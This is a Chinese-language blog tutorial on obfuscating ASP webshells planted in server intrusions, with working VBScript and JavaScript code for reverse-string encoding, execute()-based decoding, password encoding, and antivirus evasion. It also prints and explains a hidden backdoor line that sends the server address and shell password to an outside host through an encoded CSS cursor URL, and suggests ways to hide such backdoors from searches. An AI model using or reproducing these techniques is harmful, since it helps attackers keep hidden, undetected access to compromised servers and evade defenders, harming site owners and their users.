[重要通告]如您遇疑難雜癥,本站支持知識付費業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時間哦!

大家在入侵中應(yīng)該是撿到過別人的Webshell吧?也許有的大馬功能很好,于是你就用了,但是你沒想過該馬可能有后門?現(xiàn)在很多的大馬都加密了,打開時候一片亂碼,是不是也想加密自己的大馬了,加密后的Webshell不僅可以防止別人撿我們的Shell用,還能免殺webshell。ASP木馬加密不難,讓我們一起踏上大馬加密之旅。

  一:人工加密

  1.主加密函數(shù)的編寫

  1)主解密與解密函數(shù)

  對大馬的加密關(guān)鍵是編寫我們的加密函數(shù),然后寫出相應(yīng)的解密函數(shù)。我這里先得對幾個ASP自帶函數(shù)有個了解

  CHR:將ASCII 字碼轉(zhuǎn)換成字符

  REPLACE:將一個字符串取代 部份字。

  ASC:將字符串的第一字母轉(zhuǎn)換成 ANSI (美國國家標(biāo)準(zhǔn)符號)字碼。

  Len:取得字符串的長度。

  然后對IF語句和一些VBS函數(shù)相關(guān)知識有個了解。大家有不懂可以查看Windows腳本技術(shù),里面比較詳細(xì)。

  我們先看下一個最常用的解密函數(shù)吧。

dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function

  這個解密函數(shù)就是將加密后的代碼解密。他先將解密代碼(Str)中的╁換為引號("),得到Str1,然后通過FOR循環(huán),將加密部分(Str1)逐個取出,將取出的字符倒敘連接成一個新字符,并將╋換為vbcrlf(換行符)。這個加密函數(shù)應(yīng)用的相當(dāng)廣泛,就連華夏免殺Webshell也用了這個函數(shù)

  好了。知道加密的原理后我們就可以編寫自己的加密函數(shù)了。ASP的加密函數(shù)只需要將上面的部分稍微改下,但是需要可以執(zhí)行的環(huán)境(本地IIS或上傳到服務(wù)器)。這里我給出了JS+HTML寫的加密網(wǎng)頁

  ---------->JS+HTML加密:

<html>
<script script="JavaScript">
function enCode(theText)
{
output=new String;
TextSize=theText.length;
for (i = 0; i < TextSize; i++)
{
   if(theText.charCodeAt(i)=="13")
   {
   output="鵬"+output;
   }
   else if(theText.charCodeAt(i)=="10")
   {
   output+="";
   }
   else
   {
   output=theText.charAt(i)+output;
   }
}
return output
}
</script>
<form name=encform onsubmit="return false;" />
<textarea name=box1 rows=16 cols=120></textarea>
<br />
<input type=button value="加密到下面文本框" onClick="this.form.box2.value=enCode(this.form.box1.value);" /><br />
<textarea name=box2 rows=16 cols=120></textarea>
</form>
</form>
</html>

保存為html格式然后用IE打開,將需要加密的部分填寫上,然后點擊按鈕"加密到下面文本框" ,就可以得到加密后的字符串了。

  上面的加密函數(shù)是enCode,他的作用是將ASP代碼(Code)中的換行換為鵬,得到Code1,然后將Code1倒序(13和10分別是回車和換行的編碼)。比如:

  Sub RRS(str)

  response.write(str)

  End Sub

  加密后就為

  buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS

  寫了加密函數(shù)后就要寫出對于的解密函數(shù),必須用ASP編寫

dim psEncode,psStr,psI
Function unCode(psEncode)
For psI=1 To Len(psEncode)
If Mid(psEncode,psI,1)<>"鵬" Then
psNewStr=Mid(psEncode,psI,1)&psNewStr
Else
psNewStr=vbCrlf&psNewStr
End If
Next
unCode=psNewStr
End Function

  這樣我們就可以將ASP中的RRS函數(shù)用

  execute(unCode("buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS"))

  代替掉

  Sub RRS(str)

  response.write(str)

  End Sub

  我們可以利用這個加密函數(shù)加密多處,這樣多加密一般可以免殺大馬

  (2)加密解密函數(shù)

  直接調(diào)用解密函數(shù),很容易使自己的解密函數(shù)泄露,我們可以利用一個函數(shù)來加密我們的加密函數(shù),這樣就難找一點了,這主要是為了保護(hù)我們的馬,對于上面我們的解密函數(shù),我們可以再寫一個加密函數(shù),然后調(diào)用execute來,這樣就可以隱藏我們的解密函數(shù)了。這樣我們解密函數(shù)的源代碼就不會明文出現(xiàn)在webshell里了

  (3)嵌套加密

  我們可以在主加密函數(shù)里面嵌套次加密函數(shù),不過這樣我們需要對應(yīng)的寫出多個解密函數(shù),這樣加密比較側(cè)地,小破孩就馬就是采用這種加密方法。由于方法相同,我就不多啰嗦了,大家有興趣可以自己去研究下幽月或小破孩的,我這里有源碼,想要的可以到我博客(hi.baidu.com/novaa)

  2.密碼的加密

  大家是否遇見過webshell的密碼是很長的數(shù)字,20多位或30多位。這就是對密碼加密了的,通過對密碼加密,可以防止別人通過查看我們的源代碼得到我們的密碼,除非他完全解密了我們的webshell,否則我們大馬就是安全的。這里看一個對密碼加密的函數(shù)。

Function enPass(psStr,Pos)
Dim i,psNewStr
For i = 1 To Len(psStr)
psNewStr= psNewStr& Asc(Mid(psStr, i, 1))+Pos & (20080808-Pos)
Next
enPass =psNewStr
End Function

  

  上面的這個加密函數(shù)是對每一位密碼的數(shù)字取ascii碼,然后加上Pos & (20080808-Pos)&i,這里注意&是連接字符,比如n&ov&aa結(jié)果是novaa

  然后我們把解密后的部分定義為UserPass

  然后在驗證的地方通過

  enPass(request.form("pass"),pn)=UserPass 來進(jìn)行身份驗證,當(dāng)然,通過修改密碼的驗證方式可以輕松的修改密碼,但是前提是你已經(jīng)完全解密了這個webshell了。

  3.后門的隱藏技術(shù)

  怎么隱藏后門?其實主要就利用ASP的自帶函數(shù)和一些其他技巧,這里我以破小孩后門來解釋

RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E%31"&chr(39-pos)&""&(4+pos)&"c%6c"&chr(37)&"34%2E"&chr(37)&"63%6f"&chr(37)&"6d/%"&(36+pos)&"%2f?%75="&Serveru&"&%70="&UserPass&"')"">"
這個和幽月的后門隱藏技術(shù)差不多,都是利用了ASCII編碼和HTML編碼,CHR(37)是"/",我們把它還原就是
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"
這里我們可以做的更隱蔽些。

  1.我們查找后門的時候一般是利用查找有UserPass的地方,因此,我們可以利用enPass(request.form("pass"),pn)賦值給另一個變量canyou,然后把&p="&UserPass&"換為&p="&canyou&"

  2.我們可以利用webshell里面自帶的常量來代替http,以為http也是經(jīng)常用來找后門的地方,比如Sot(13,0) = "Microsoft.XMLHTTP"這里就有HTTP,我們利用Right函數(shù)來取得Sot(13,0) 右邊的4個字符,然后代替后門中的HTTP

  二:工具加密

  利用微軟的腳本加密工具screnc.exe對我們初步加密的webshell進(jìn)行再次的加密,這樣我們的webshell就完全成了一堆亂碼了

  有了上面的加密知識,相信大家很快可以掌握ASP的解密,方法都是一樣的,然后大家就可以玩玩除后門了。

問題未解決?付費解決問題加Q或微信 2589053300 (即Q號又微信號)右上方掃一掃可加博主微信

所寫所說,是心之所感,思之所悟,行之所得;文當(dāng)無敷衍,落筆求簡潔。 以所舍,求所獲;有所依,方所成!

支付寶贊助
微信贊助

免責(zé)聲明,若由于商用引起版權(quán)糾紛,一切責(zé)任均由使用者承擔(dān)。

您必須遵守我們的協(xié)議,如您下載該資源,行為將被視為對《免責(zé)聲明》全部內(nèi)容的認(rèn)可->聯(lián)系老梁投訴資源
LaoLiang.Net部分資源來自互聯(lián)網(wǎng)收集,僅供用于學(xué)習(xí)和交流,請勿用于商業(yè)用途。如有侵權(quán)、不妥之處,請聯(lián)系站長并出示版權(quán)證明以便刪除。 敬請諒解! 侵權(quán)刪帖/違法舉報/投稿等事物聯(lián)系郵箱:service@laoliang.net
意在交流學(xué)習(xí),歡迎贊賞評論,如有謬誤,請聯(lián)系指正;轉(zhuǎn)載請注明出處: » 大馬加密

發(fā)表回復(fù)

本站承接,網(wǎng)站推廣(SEM,SEO);軟件安裝與調(diào)試;服務(wù)器或網(wǎng)絡(luò)推薦及配置;APP開發(fā)與維護(hù);網(wǎng)站開發(fā)修改及維護(hù); 各財務(wù)軟件安裝調(diào)試及注冊服務(wù)(金蝶,用友,管家婆,速達(dá),星宇等);同時也有客戶管理系統(tǒng),人力資源,超市POS,醫(yī)藥管理等;

立即查看 了解詳情